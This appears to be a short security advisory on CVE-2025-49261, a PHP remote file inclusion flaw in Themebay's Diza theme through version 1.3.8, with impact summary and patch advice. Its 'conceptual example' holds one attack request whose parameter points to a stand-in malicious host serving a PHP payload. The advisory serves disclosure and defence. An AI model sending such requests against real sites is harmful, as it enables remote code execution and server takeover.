Overview
The cybersecurity world is abuzz with the recent discovery of a major vulnerability, CVE-2025-49261, in the Themebay’s Diza. This flaw, a PHP Remote File Inclusion vulnerability, has a high potential to compromise systems or result in data leakage. It can be exploited by an attacker to execute arbitrary PHP code in the vulnerable system. Understanding this vulnerability, who it affects, and how to mitigate it is crucial for organizations using Diza versions up to 1.3.8.
Vulnerability Summary
CVE ID: CVE-2025-49261
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Themebay Diza | Up to and including 1.3.8
How the Exploit Works
The vulnerability exists due to an improper control of filename for include/require statement in PHP program within the Diza software. An attacker can exploit this by sending a specially crafted request containing a path to a malicious PHP file hosted on a remote server. The Diza software will include and execute this malicious PHP file, allowing the attacker to run arbitrary code on the server where Diza resides. This could potentially lead to a full system compromise.
Conceptual Example Code
An attacker could theoretically exploit this vulnerability as shown in the conceptual example below:
GET /index.php?page=http://malicious.com/malicious_script.txt HTTP/1.1
Host: target.example.comThe “malicious_script.txt” could contain arbitrary PHP code that will be executed on the server when the request is processed.
Mitigation Measures
Themebay has already released a patch to address this vulnerability. All users and administrators of Diza are strongly advised to update their software to the latest version. If it’s not possible to immediately update, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as temporary mitigation. However, these measures can only limit the exposure to this vulnerability, not completely eliminate it. Therefore, updating Diza to the patched version remains the most effective mitigation measure.